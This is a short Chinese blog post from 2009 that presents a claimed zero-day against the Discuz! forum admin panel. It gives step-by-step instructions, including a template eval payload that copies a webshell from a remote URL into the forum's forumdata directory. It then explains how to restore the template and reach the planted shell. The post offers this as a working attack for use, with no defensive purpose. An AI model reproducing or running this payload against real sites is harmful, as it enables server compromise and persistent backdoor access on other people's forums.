Discuz!后台最新0DAY

Posted in Oday by admin on 12-07-2009.
友情提示:点击图片可查看全屏图片哦~

目前通吃所有DZ版本。
1. 随便选一模板文件,选择编辑
2. 找一个空间上传一个webshell, 假定其地址为http://www.abc.com/shell.txt
3. 在任意位置输入:
{eval copy(‘http://www.abc.com/shell.txt’, DISCUZ_ROOT.’./forumdata/shell.php’);}
4. 保存, 刷新
5. 访问该模板所属的文件
6. 把模板恢复原样

大功告成, 访问/forumdata/shell.php便是可爱的马马。


请保留版权链接:http://www.alxston.com/post/733.html

看看下面有你感兴趣的文章吗?

Leave a Reply

:wink: :-| :-x :twisted: :) 8-O :( :roll: :-P :oops: :-o :mrgreen: :lol: :idea: :-D :evil: :cry: 8) :arrow: :-? :?: :!: